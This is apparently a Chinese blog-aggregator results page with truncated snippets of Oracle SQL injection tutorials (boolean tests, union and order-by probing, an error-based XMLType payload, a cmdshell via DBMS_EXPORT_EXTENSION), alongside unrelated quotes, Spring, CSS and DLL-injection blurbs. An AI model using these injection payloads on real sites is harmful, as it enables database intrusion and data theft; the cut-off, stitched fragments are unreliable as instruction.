犀利的 oracle 注入技术
linx 2008.1.12
介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EX
转载
精选
2008-10-20 09:31:14
711阅读
1喜欢一个人，就是在一起很开心；爱一个人，就是即使不开心，也想在一起。
2. 人生就像一杯茶，不会苦一辈子，但总会苦一阵子。
3. 傻与不傻，要看你会不会装傻。
4. 女人用友情来拒绝爱情，男人用友情来换取爱情。
5. 幸福是可以通过学习来获得的，尽管它不是我们的母语。
6. 不要见一个爱一个，爱的太多，你的爱就要贬值。
7. 想完全了解一个男人，
转载
精选
2010-08-20 21:59:44
1288阅读
先判断好注入点后 order by 长度 union select 'null',null,null ... from admin 如果在某个地方返回正确了，那么就能在这个注入点注入 推荐看一本书《藏锋者》 字段长度太短的话使用另一种注入方式来注入 在网站后方加入 and (select count ...
转载
2021-09-10 13:49:00
382阅读
2评论
Oracle注入 1.Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道)，所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的，也可以使用null代替某些无法快速猜测出数据类型的位置。 2.Oracle的单行注释符号是-- ，多行注释符号/ ...
转载
2021-09-24 10:13:00
2737阅读
点赞
2评论
1. 月老，尼玛能别再用劣质的红线帮我牵了嘛，隔三差五就断。
2. 其实我不笨，我只是懒得聪明罢了。
3. 没心没肺，总比撕心裂肺要好。
4. 坟价都涨那么快，死不起了。
5. 你的头像黑黑的，我的心情灰灰的。
6. 我就是个自私的小孩，自私到以为你就是我的。
7. 你你你你你再逼我，我就喂你喝三鹿。
8. 下辈子要做男生，娶一个像我这样的女生。
9.
转载
2012-03-26 08:33:02
314阅读
检测可否注入
http://127.0.0.1/xx?id=11 and 1=1 (正常页面)
http://127.0.0.1/xx?id=11 and 1=2 (出错页面)
检测表段的
http://127.0.0.1/xx?id=11 and exists (select * from admin) 
转载
精选
2013-04-22 13:28:12
183阅读
检测可否注入
http://127.0.0.1/xx?id=11 and 1=1 (正常页面)
http://127.0.0.1/xx?id=11 and 1=2 (出错页面)
检测表段的
http://127.0.0.1/xx?id=11 and exists (select * from admin) 
转载
精选
2013-04-22 13:28:17
314阅读
第一种方法http://www.xxox.cn/XXX/AA.php?id=1 and and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)-
转载
精选
2010-12-25 20:19:01
10000+阅读
①判断是否为Oralce数据库:
And 0<>(select count(*) from dual) 返回正常页面表示为Oracle数据库
②猜解字段数量:
使用order by 或者group by逐个提交数字 直到回显错误页面
③列出字段数目 比如6个字段数目
and 1=1 null,null,null,null,null,null from dual—
转载
精选
2011-07-08 15:13:21
468阅读
2个月不登陆，扣60豆豆。你可以不这样犀利。你怎么不把我的豆豆全部扣除呢，加油，全部扣完，完事！
原创
2013-01-07 10:45:44
569阅读
网上关于ORACLE注入的文章也不少，自己碰到一个站，闲着没事，自己也来整理一下，当做复习，只涉及猜解数据，而且能ORDER BY的情况下。开始还是单引号，报错id=520 and 1=1 正常id=520 and 1=2 出错如果报错时不显示是ORA的错误，不确定是否是ORACLE的数据库。id=520 and ''||'1'='1' 返回正常id=520 and ''||'2'='1' 返回无
原创
2009-04-25 17:00:33
2020阅读
2评论
网上关于Oracle的注入文章不多，收集两篇方便大家也方便自己。
大家都知道oracle比较大,11g的安装程序大约在1.4g左右,可能大家遇到oracle的库比较少，oracle+jsp的搭配的比较好...
oracle系统库默认的用户有sys,system,internal,scott,前三个权限都是system权限..
先说下数据库的注释:access支持null和%00注释; m
转载
精选
2011-01-12 13:28:57
391阅读
'***********************************************************************************************'oracle union 注入工具 By 孤水绕城'适用于可以使用union的注入点上'***********************************************************
转载
2015-06-13 13:40:00
151阅读
2评论
显错注入显错注入（Error-based SQL Injection）是一种利用应用程序对错误的处理方式来获取数据库信息的SQL注入公鸡技术。公鸡者通过构造恶意的SQL查询，故意触发数据库错误，然后利用应用程序对错误信息的处理，从中获取敏感信息。这种类型的注入通常发生在应用程序对用户输入数据的错误处理不当或未充分过滤的情况下。下面是显错注入的一般步骤：识别漏洞点： 公鸡者首先需要确定应用程序中存在
原创
精选
2024-04-12 09:08:58
260阅读
spring 依赖注入的3种方式
在实际环境中实现IoC容器的方式主要分为两大类，一类是依赖查找，依赖查找是通过资源定位，把对应的资源查找回来；另一类则是依赖注入，而Spring主要使用的是依赖注入。一般而言，依赖注入可以分为3种方式。 •构造器注入。 •setter注入。 •接口注入。 构造器注入和setter
转载
2023-07-09 12:07:26
152阅读
lucywang 嘶吼专业版 代码注入是指在应用程序中注入任意外部代码的行为，有两种类型的代码注入：1.注入易受攻击的程序；2.注入不易受攻击的程序；如果代码注入是在易受攻击的应用程序中完成的，则可以通过利用在处理无效数据时发生的漏洞来实现。在这种情况下，代码注入的程度就取决于应用程序中的错误，我们也将其称为“漏洞”。但问题在于，应用程序应该具有可以被利用来获得代码执行的漏洞。本系列针对第二种情
原创
2021-04-11 14:53:27
3645阅读
1) windows / linux / Unix 平台下的安装，卸载。2）冷备与冷备的还原3）逻辑备份与还原4）RMAN 备份与还原5）数据搬迁：可用逻辑备份或者RMAN来。 6）添加表空间7）高可用之 Data Guard 安装与维护8）高可用之RAC 安装与维护9） 数据库性能诊断与调优
原创
2015-03-27 15:22:45
391阅读
今天在surfing时看到一个google做的chromeos笔记本的广告网页，相当的nice。网址如下http://www.google.com/chromeos/demolab/。貌似只能用chrome打开。里面右下角有一个boot一直和你对话，是真的对话哦，呵呵～～可以识别一些简单的语义，比如他问你如何破坏这台笔记本时，你输入water或者fire，他会真的把笔记本拿去水里或用火烤～～大家可
原创
2010-12-23 20:00:14
833阅读
犀利的CSS逻辑属性-减少代码量
什么是CSS逻辑属性
CSS逻辑属性是CSS3中新增的属性，它将多个CSS属性合并成一个属性，从而简化CSS的书写。逻辑属性可以同时设置元素的多个方向上的属性，例如内联方向和块状方向。逻辑属性的名称以“-inline”或“-block”结尾，表示它们可以用于设置元素的内联方向属性或块状方向属性。逻辑属性还可以用于更方便地管理flexbox和grid布局等CSS布
原创
精选
2023-03-15 20:34:21
307阅读
DLL的远程注入技术是目前Win32病毒广泛使用的一种技术。使用这种技术的病毒体通常位于一个DLL中，在系统启动的时候，一个EXE程序会将这个DLL加载至某些系统进程（如Explorer.exe）中运行。这样一来，普通的进程管理器就很难发现这种病毒了，而且即使发现了也很难清除，因为只要病毒寄生的进程不终止运行，那么这个DLL就不会在内存中卸载，用户也就无法在资源管理器中删除这个DLL文件，真
原创
2021-07-30 14:32:02
797阅读
